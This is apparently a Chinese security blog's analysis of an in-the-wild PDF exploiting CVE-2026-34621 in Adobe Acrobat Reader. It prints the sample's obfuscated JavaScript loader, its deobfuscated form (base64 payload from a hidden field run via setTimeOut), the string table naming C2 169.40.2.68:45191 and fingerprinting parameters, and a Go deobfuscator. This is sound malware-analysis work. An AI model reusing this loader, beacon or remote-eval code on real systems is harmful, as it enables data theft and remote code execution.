在野利用CVE-2026-34621漏洞PDF样本深度分析
模拟构建漏洞 PDF 响应载荷后发现,该载荷可异常驻留并嵌入 Adobe Acrobat Reader 内部,即便关闭 PDF、重启软件乃至操作系统,仍能持续触发恶意代码执行。
概述
近日,笔者关注到一款包含CVE-2026-34621漏洞的PDF样本,由于在分析过程中,笔者发现了多个具有研究价值的异常现象,故在这里与大家共享学习:
- 直接构建弹框响应载荷
app.alert("T0daySeeker"),即可成功触发样本的漏洞载荷行为; - 基于网络请求触发第一次弹框行为后,Adobe Acrobat Reader软件会在不发起网络请求的情况下,多次触发弹框行为;
- 关闭漏洞PDF样本,仅打开Adobe Acrobat Reader软件,仍会触发弹框行为;
- 重启操作系统后,打开Adobe Acrobat Reader软件,弹框行为依然会触发。
结合上述现象,笔者推测:响应载荷被嵌入到Adobe Acrobat Reader软件中???
打开漏洞PDF样本的弹框效果:

仅打开Adobe Acrobat Reader软件的弹框效果:

漏洞详情
CVE-2026-34621是2026年4月被发现的一个针对Adobe Acrobat Reader的关键安全漏洞,由安全研究机构EXPMON率先捕获,捕获时该漏洞已处于在野利用状态,具备较高的安全风险。
漏洞核心原理
该漏洞的核心成因是Adobe Reader的JavaScript解释器在处理PDF内部对象属性时存在缺陷。具体原理如下:
- 在JavaScript运行环境中,几乎所有对象都继承自全局基础对象
Object.prototype,而CVE-2026-34621漏洞允许攻击者通过恶意构造的PDF结构,在解析过程中篡改这一全局原型的属性,进而触发后续恶意行为。
官方公告信息
2026年4月11日,Adobe官方在APSB26-43安全公告中正式确认了此漏洞,并公布了受影响的软件版本。
相关截图如下:

漏洞触发条件
通过对样本的反复测试,笔者对漏洞触发条件进行了整理:
- 非Adobe Acrobat Reader工具:打开漏洞PDF时,文档内容会显示“You need to open this PDF in Adobe Acrobat Reader.”,无法触发漏洞;
- Adobe Acrobat Reader工具:打开漏洞PDF时,可正常查看文档内容,同时触发漏洞载荷行为;
浏览器查看
使用浏览器查看漏洞pdf文档,截图如下:

Adobe Acrobat Reader查看
使用 Adobe Acrobat Reader 工具查看漏洞pdf文档,截图如下:

内嵌恶意脚本
直接使用010editor工具打开漏洞pdf,借助其Template功能,即可查看pdf文件结构。
相关截图如下:

恶意JavaScript脚本
尝试对漏洞pdf文件结构进行分析,发现在 9 0 obj 结构中存在被嵌入的JavaScript脚本。
相关截图如下:

尝试提取JavaScript脚本内容如下:
app.t = app["s"+\({}+[]\)[[+!+[]]+[+!+[]]]+"tTim"+\({}+[]\)[[+!+[]]+[+!+[]]]+"Out"]\(util["str"+\(!+[]/+[]+[]\)[!+[]+!+[]+!+[]]+"ngFromStr"+\({}+[]\)[[+!+[]]+[+!+[]]]+\(+{}+[]\)[+!+[]]+"m"]\(SOAP["stre"+\(+{}+[]\)[+!+[]]+"mD"+\({}+[]\)[[+!+[]]+[+!+[]]]+"cod"+\({}+[]\)[[+!+[]]+[+!+[]]]]\(util["str"+\({}+[]\)[[+!+[]]+[+!+[]]]+\(+{}+[]\)[+!+[]]+"mFromStr"+\(!+[]/+[]+[]\)[!+[]+!+[]+!+[]]+"ng"]\(getField\(\({}+[]\)[!+[]+!+[]]+\(!![]+[]\)[+[]]+\([][[]]+[]\)[+!+[]]+\(+!+[]+[]\)\)["v"+\(+{}+[]\)[+!+[]]+\(![]+[]\)[!+[]+!+[]]+"ue"]\), \({}+[]\)[!+[]+!+[]]+\(+{}+[]\)[+!+[]]+\(![]+[]\)[!+[]+!+[]+!+[]]+\({}+[]\)[[+!+[]]+[+!+[]]]+\(!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+[]\)+\(!+[]+!+[]+!+[]+!+[]+[]\)\)\), 500\);转义字符
成功提取JavaScript脚本后,笔者尝试在浏览器Console窗口中运行JavaScript脚本,发现此代码会运行报错。
相关测试运行截图如下:

进一步分析,发现:上述JavaScript脚本中的 “\(” 和 “\)” 实际是转义字符,其对应原始字符是 “(” 和 “)” 。
相关测试运行截图如下:

尝试对转义字符进行处理,得到JavaScript脚本内容如下:
app.t = app["s"+({}+[])[[+!+[]]+[+!+[]]]+"tTim"+({}+[])[[+!+[]]+[+!+[]]]+"Out"](util["str"+(!+[]/+[]+[])[!+[]+!+[]+!+[]]+"ngFromStr"+({}+[])[[+!+[]]+[+!+[]]]+(+{}+[])[+!+[]]+"m"](SOAP["stre"+(+{}+[])[+!+[]]+"mD"+({}+[])[[+!+[]]+[+!+[]]]+"cod"+({}+[])[[+!+[]]+[+!+[]]]](util["str"+({}+[])[[+!+[]]+[+!+[]]]+(+{}+[])[+!+[]]+"mFromStr"+(!+[]/+[]+[])[!+[]+!+[]+!+[]]+"ng"](getField(({}+[])[!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+!+[]]+(+!+[]+[]))["v"+(+{}+[])[+!+[]]+(![]+[])[!+[]+!+[]]+"ue"]), ({}+[])[!+[]+!+[]]+(+{}+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+({}+[])[[+!+[]]+[+!+[]]]+(!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+[])+(!+[]+!+[]+!+[]+!+[]+[]))), 500);混淆字符串
通过在浏览器Console窗口中测试运行,发现JavaScript脚本中的 ({}+[])[[+!+[]]+[+!+[]]] 、({}+[])[[+!+[]]+[+!+[]]]、(!+[]/+[]+[])[!+[]+!+[]+!+[]]等字符串,实际均为混淆字符串。
相关测试运行截图如下:

尝试在浏览器Console窗口中对相关混淆字符串进行测试运行,可成功提取原始字符串内容。
相关测试运行截图如下:

去混淆后的JavaScript脚本内容如下:
app.t = app["setTimeOut"](
util["stringFromStream"](
SOAP["streamDecode"](
util["streamFromString"](
getField("btn1")["value"]
),
"base64"
)
),
500);处理后脚本功能
通过分析,梳理上述去混淆后的JavaScript脚本:
- 从 PDF 隐藏表单字段
btn1中提取数据; - 使用 Base64 对提取的数据进行解码;
- 将解码后的数据转换为可执行的 JavaScript代码;
- 延迟 500 毫秒后,自动执行JavaScript代码。
Base64载荷
载荷定位
根据去混淆后脚本的功能逻辑,我们可基于010editor工具快速定位 btn1 载荷数据存放于 7 0 obj 结构中。
相关截图如下:

转义字符
根据JavaScript脚本功能,直接对 7 0 obj 结构中的base64编码数据进行base64解码,发现:只能对部分base64编码数据进行解码。
相关截图如下:

尝试对比解码前、解码后的数据内容,发现 7 0 obj 结构中的base64编码数据中存在 # 字符!(正常base64编码数据是不存在 # 字符的)
进一步分析,发现 # 字符实际是 PDF 格式特有的 #xx 转义字符。
转义规则如下:
#20 → 空格
#25 → %
#28 → (
#29 → )
#2B → +
#2F → /
#3D → =
#0A → 换行
#0D → 回车相关截图如下:

自动化去转义字符
为了能够快速去除转义字符,笔者使用AI构建了一个JavaScript转换脚本,直接在浏览器Console窗口中测试运行即可。
转换脚本内容如下:
function decodePdfHex(str) {
// 将 #XX 替换为对应的 ASCII 字符
return str.replace(/#([0-9A-Fa-f]{2})/g, function(match, hex) {
return String.fromCharCode(parseInt(hex, 16));
});
}
// 示例:
var raw = "dmFy#2B#2Fh0...";
var cleaned = decodePdfHex(raw);
console.log(cleaned); // 还原成标准的 Base64 格式脚本运行截图如下:

Base64解码
成功提取正常base64编码数据后,我们即可对其正常base64解码。
相关截图如下:

为便于查看代码,我们可使用 VS Code 工具对脚本内容进行格式化处理。
处理后脚本内容如下:

混淆载荷
代码混淆函数
对base64解码后的代码进行分析,我们可发现_0x25ecb7变量中存在大量的字符串数据,其中包括了外联地址信息。
相关代码截图如下:


结合实际代码测试运行,我们发现代码中存在大量的混淆代码,其混淆代码格式形如_0x204aee(0x20e)、a0_0xca7600(0x1ee)形式。
相关测试运行截图如下:

进一步分析,提取混淆函数相关代码,发现混淆代码逻辑如下:
- _0x25ecb7中存放了字符串数组,此字符串数组是乱序存放的;
- 通过特定算法将_0x25ecb7中乱序数组调整为正确顺序;
- 从形如_0x204aee(0x20e)等格式的函数中提取参数值,根据参数值计算数组偏移量,从而获取对应的原始字符串。
混淆函数相关代码如下:
var a0_0xca7600 = a0_0x549f;
(function (_0x562ce1, _0x37b0c8) {
var _0x4e8cd5 = a0_0x549f,
_0x46cb17 = _0x562ce1();
while (!![]) {
try {
var _0x32ef3a =
(-parseInt(_0x4e8cd5(0x24d)) / 0x1) *
(-parseInt(_0x4e8cd5(0x23e)) / 0x2) +
-parseInt(_0x4e8cd5(0x230)) / 0x3 +
(-parseInt(_0x4e8cd5(0x231)) / 0x4) *
(-parseInt(_0x4e8cd5(0x24c)) / 0x5) +
(-parseInt(_0x4e8cd5(0x268)) / 0x6) *
(parseInt(_0x4e8cd5(0x237)) / 0x7) +
(-parseInt(_0x4e8cd5(0x266)) / 0x8) *
(parseInt(_0x4e8cd5(0x1d9)) / 0x9) +
(parseInt(_0x4e8cd5(0x261)) / 0xa) *
(-parseInt(_0x4e8cd5(0x1e1)) / 0xb) +
parseInt(_0x4e8cd5(0x263)) / 0xc;
if (_0x32ef3a === _0x37b0c8) break;
else _0x46cb17["push"](_0x46cb17["shift"]());
} catch (_0x3153df) {
_0x46cb17["push"](_0x46cb17["shift"]());
}
}
})(a0_0x1a97, 0xb6335);
function a0_0x549f(_0x3edbbd, _0x5e4780) {
var _0x1a975a = a0_0x1a97();
return (
(a0_0x549f = function (_0x549f6f, _0x411198) {
_0x549f6f = _0x549f6f - 0x1d8;
var _0x472e41 = _0x1a975a[_0x549f6f];
return _0x472e41;
}),
a0_0x549f(_0x3edbbd, _0x5e4780)
);
}
function a0_0x1a97() {
var _0x25ecb7 = [
"_Ke",
"MAX_SAFE_INTEGER",
"list",
"getProdVersionString",
"number",
"unsupported\x20array-like\x20object",
"slice",
"3001372qCBAIH",
"set",
"replace",
"invalid\x20plaintext\x20size\x20(must\x20be\x2016\x20bytes)",
"substr",
"charCodeAt",
"Reader",
"plugIns",
"final_js",
"&platform=",
"version",
"setValue",
"s11",
"getOCGs",
"get",
"_counter",
"/c/Windows/System32/bootsvc.dll",
"read",
"apply",
"doc",
"viewerVersion",
"state",
"increment",
"unknown",
"encrypt",
"Uint8Array",
"invalid\x20key\x20size\x20(must\x20be\x2016,\x2024\x20or\x2032\x20bytes)",
"&viewerVersion=",
"trustedFunction",
"random",
"activeDocs",
"clearInterval",
"&pdfFile=",
"WIN7",
"ERR_UNK_PLATFORM_",
"eval(global.final_js);",
"indexOf",
"ERR_UNK_VIEWERTYPE_",
"0123456789abcdef",
"toLowerCase",
"swConn",
"bird0",
"decrypt",
"split",
"WIN11",
"removeFeed",
"&errs=",
"&activeDocs=",
"utils",
"/c/Windows/AppReadiness",
"length",
"319988",
"isArray",
"Counter\x20must\x20be\x20instanitated\x20with\x20`new`",
"pig0",
"_aes",
"ERR_NO_64BIT_READER",
"layers",
"isReader64bit",
"name",
"platform",
"beginPriv",
"rs1",
"?rnd=",
"key",
"PKCS#7\x20invalid\x20padding\x20byte",
"next",
"unescape(\x27",
"check()",
"s12",
"&od=",
"_prepare",
"isDocReadOnly",
"WIN",
"path",
"_remainingCounter",
"169.40.2.68:45191",
"_UNSUPPORTED",
"invalid\x20counter\x20value\x20(must\x20be\x20an\x20integer)",
"956400zEvjBp",
"436pgYoXz",
"getUint16",
"fromCharCode",
"viewerType",
"ERR_OS_",
"exec",
"6153AmVUaK",
"hex",
"http://",
"?language=",
"/c/windows/system32/ntdll.dll",
"prototype",
"status",
"38AcGcjz",
"setBytes",
"stringFromStream",
"endPriv",
"activeDocs_count",
"PKCS#7\x20padding\x20byte\x20out\x20of\x20range",
"__defineGetter__",
"push",
"Counter",
"pig1",
"_Kd",
"substring",
"setTimeOut",
"_remainingCounterIndex",
"52955QesRaL",
"28801oQdVwQ",
"root",
"ERR_UNSUPPORTED_VERSION_",
"description",
"invalid\x20ciphertext\x20size\x20(must\x20be\x2016\x20bytes)",
"bird1",
"rs2",
"tmp1",
"HufBuild\x20error:\x20",
"join",
"deer",
"getOS",
"call",
"addFeed",
"AES\x20must\x20be\x20instanitated\x20with\x20`new`",
"ctr",
"invalid\x20counter\x20bytes\x20size\x20(must\x20be\x2016\x20bytes)",
"integer\x20value\x20out\x20of\x20safe\x20range",
"readFileIntoStream",
"Array\x20contains\x20invalid\x20value:\x20",
"50Mzxccu",
"WIN8.1",
"34427148OAgwFl",
"bind",
"BMAX",
"3321368QxbaCZ",
"tmp2",
"6114PHEMtF",
"string\x20passed\x20to\x20hex2bin\x20does\x20not\x20have\x20len\x20%\x204\x20==\x200!!",
"toBytes",
"27BdhEkG",
];
a0_0x1a97 = function () {
return _0x25ecb7;
};
return a0_0x1a97();
}自动化去混淆
为高效去除代码中的混淆逻辑,笔者基于混淆函数原理,借助AI构建了一个Go语言解混淆脚本,可自动替换a0_0xca7600、_0x204c9e、_0x4f586c、_0x47a2a7、_0x1422ef、_0x1ba50d、_0x388e6c、_0x5c2809、_0x521f45、_0x501176、_0x3d3374、_0x5f5523、_0x3d00ae、_0x10c267、_0x3a8d51、_0x33a7f6、_0x35f182、_0x55f3dd、_0x38c238、_0x4d159a、_0x2282bd、_0x149bb3、_0x2cf3e1、_0x50b691、_0xf5f472、_0x31d3f7、_0x3ef79a、_0x5ac22a、_0x12a024、_0x8d74bb、_0x3f7202、_0x41914a、_0x33b2f6、_0x16e1e7、_0x204aee混淆函数的调用,还原代码原始逻辑。
解混淆后的代码截图如下:


解混淆脚本如下:
package main
import (
"fmt"
"io/ioutil"
"regexp"
"strconv"
"strings"
)
var stringArray = []string{
"_Ke", "MAX_SAFE_INTEGER", "list", "getProdVersionString", "number",
"unsupported array-like object", "slice", "3001372qCBAIH", "set", "replace",
"invalid plaintext size (must be 16 bytes)", "substr", "charCodeAt", "Reader",
"plugIns", "final_js", "&platform=", "version", "setValue", "s11", "getOCGs",
"get", "_counter", "/c/Windows/System32/bootsvc.dll", "read", "apply", "doc",
"viewerVersion", "state", "increment", "unknown", "encrypt", "Uint8Array",
"invalid key size (must be 16, 24 or 32 bytes)", "&viewerVersion=",
"trustedFunction", "random", "activeDocs", "clearInterval", "&pdfFile=",
"WIN7", "ERR_UNK_PLATFORM_", "eval(global.final_js);", "indexOf",
"ERR_UNK_VIEWERTYPE_", "0123456789abcdef", "toLowerCase", "swConn", "bird0",
"decrypt", "split", "WIN11", "removeFeed", "&errs=", "&activeDocs=", "utils",
"/c/Windows/AppReadiness", "length", "319988", "isArray",
"Counter must be instanitated with `new`", "pig0", "_aes", "ERR_NO_64BIT_READER",
"layers", "isReader64bit", "name", "platform", "beginPriv", "rs1", "?rnd=",
"key", "PKCS#7 invalid padding byte", "next", "unescape('", "check()", "s12",
"&od=", "_prepare", "isDocReadOnly", "WIN", "path", "_remainingCounter",
"169.40.2.68:45191", "_UNSUPPORTED", "invalid counter value (must be an integer)",
"956400zEvjBp", "436pgYoXz", "getUint16", "fromCharCode", "viewerType", "ERR_OS_",
"exec", "6153AmVUaK", "hex", "http://", "?language=", "/c/windows/system32/ntdll.dll",
"prototype", "status", "38AcGcjz", "setBytes", "stringFromStream", "endPriv",
"activeDocs_count", "PKCS#7 padding byte out of range", "__defineGetter__",
"push", "Counter", "pig1", "_Kd", "substring", "setTimeOut", "_remainingCounterIndex",
"52955QesRaL", "28801oQdVwQ", "root", "ERR_UNSUPPORTED_VERSION_", "description",
"invalid ciphertext size (must be 16 bytes)", "bird1", "rs2", "tmp1",
"HufBuild error: ", "join", "deer", "getOS", "call", "addFeed",
"AES must be instanitated with `new`", "ctr",
"invalid counter bytes size (must be 16 bytes)", "integer value out of range",
"readFileIntoStream", "Array contains invalid value: ", "50Mzxccu", "WIN8.1",
"34427148OAgwFl", "bind", "BMAX", "3321368QxbaCZ", "tmp2", "6114PHEMtF",
"string passed to hex2bin does not have len % 4 == 0!!", "toBytes", "27BdhEkG",
}
// 模拟 JS 的 parseInt:提取开头的数字部分
func jsParseInt(s string) float64 {
re := regexp.MustCompile(`^[0-9]+`)
match := re.FindString(s)
val, _ := strconv.ParseFloat(match, 64)
return val
}
func getStr(idx int) string {
return stringArray[idx-0x1d8]
}
func main() {
target := float64(0xb6335) // 746293
for {
// 1. 全部使用 float64 进行计算,模拟 JS 的 Number 类型
// 2. 检查索引是否对应(你的源码中可能有微小的偏移差异)
sum := (-jsParseInt(getStr(0x24d))/1.0)*(-jsParseInt(getStr(0x23e))/2.0) +
-jsParseInt(getStr(0x230))/3.0 +
(-jsParseInt(getStr(0x231))/4.0)*(-jsParseInt(getStr(0x24c))/5.0) +
(-jsParseInt(getStr(0x268))/6.0)*(jsParseInt(getStr(0x237))/7.0) +
(-jsParseInt(getStr(0x266))/8.0)*(jsParseInt(getStr(0x1d9))/9.0) +
(jsParseInt(getStr(0x261))/10.0)*(-jsParseInt(getStr(0x1e1))/11.0) +
jsParseInt(getStr(0x263))/12.0
if sum == target {
break
} else {
// 数组旋转:push(shift())
stringArray = append(stringArray[1:], stringArray[0])
}
}
// 1. 读取混淆后的文件
filePath := "base64_dec_repair.js" // 你的源文件名
content, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Printf("读取文件失败: %v\n", err)
return
}
// 2. 定义正则表达式
// 匹配 a0_0xca7600(0x1ee) 这种格式
// \w+ 匹配函数名,(0x[0-9a-fA-F]+) 捕获十六进制参数
re := regexp.MustCompile(`_0x38c238+\((0x[0-9a-fA-F]+)\)`)
// 3. 执行替换
newContent := re.ReplaceAllStringFunc(string(content), func(match string) string {
// 提取括号内的十六进制字符串,如 "0x1ee"
subMatches := re.FindStringSubmatch(match)
if len(subMatches) < 2 {
return match
}
hexStr := subMatches[1]
// 将十六进制转换为整数
val, err := strconv.ParseInt(strings.TrimPrefix(hexStr, "0x"), 16, 64)
if err != nil {
return match
}
// 获取真实字符串
decoded := getStr(int(val))
// 返回带引号的字符串,替换掉原有的函数调用
return fmt.Sprintf(`"%s"`, decoded)
})
// 4. 将结果保存到新文件
err = ioutil.WriteFile("base64_dec_repair.js", []byte(newContent), 0644)
if err != nil {
fmt.Printf("保存文件失败: %v\n", err)
return
}
}恶意载荷
通过分析,发现最终恶意载荷可分为库函数代码和用户代码两部分。
相关代码截图如下:

环境指纹提取
通过分析,发现恶意脚本运行后,将对运行环境进行指纹提取,只有完全符合预设条件的系统才会被执行攻击。
筛选条件如下:
- 版本检测:要求 Adobe Reader 版本必须大于
21.00120138。 - 平台检测:必须为 Windows 平台(
WIN),且明确要求为 Windows 10。 - 架构检测:通过
isReader64bit()检查是否为 64 位阅读器。
若检测不符合条件,脚本会记录相应错误信息,终止攻击流程。
相关代码截图如下:

动态URL构建
环境检测通过后,恶意脚本会根据检测到的版本信息和系统环境,动态生成数据回传和载荷请求的URL,核心信息如下:
- C2 服务器:169.40.2.68:45191
- 数据回传(dog1):根据Adobe Reader版本选择请求s11或s12路径,URL中携带大量敏感信息(如浏览器版本、系统版本、PDF文件路径等);
- 载荷请求(dog2):根据Adobe Reader版本选择请求rs1或rs2路径,用于获取后续恶意载荷。
相关代码截图如下:

外联请求
通过分析,发现恶意脚本运行后,将发起两个dog2外联请求和dog1外联请求,C&C服务器将根据外联请求返回后续载荷内容。
备注:结合AI分析,发现外联请求中的 cType: "JS" 参数,表示返回的数据将作为 JavaScript 进行解析和执行。
相关代码截图如下:

相关网络通信请求如下:

解密载荷并执行
通过分析,发现恶意脚本运行后,将循环检查 bird0 (Key) 和 bird1 (Ciphertext)数据,用以判断是否成功下载后续载荷。
成功下载后续载荷后,样本将调用AES算法、zlib压缩算法对下载的加密载荷进行解密。
成功解密后,样本将调用eval执行解密后的恶意代码。
相关代码截图如下:


模拟网络行为测试
为了能够更直观的观察漏洞触发后载荷行为,笔者在模拟C&C端尝试构建了如下响应载荷:

在受控端,笔者使用AcroRdrDCx642600121367_en_US.exe软件触发漏洞pdf。
首次触发漏洞时,我们可发现受控端中执行了响应载荷代码,虽然受控端仅发起了一次外联请求,但实际却执行了多次响应载荷代码。
相关截图如下:


尝试关闭漏洞pdf文档,仅打开Adobe Acrobat Reader软件,发现受控端还会执行响应载荷代码,但却无外联请求。
相关截图如下:

IOCs
65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7
http://169.40.2.68:45191/
拉脱维亚 里加市
反复执行JS是因为会把JS文件写到 Adobe PDF 的某些目录下,删除掉就好了。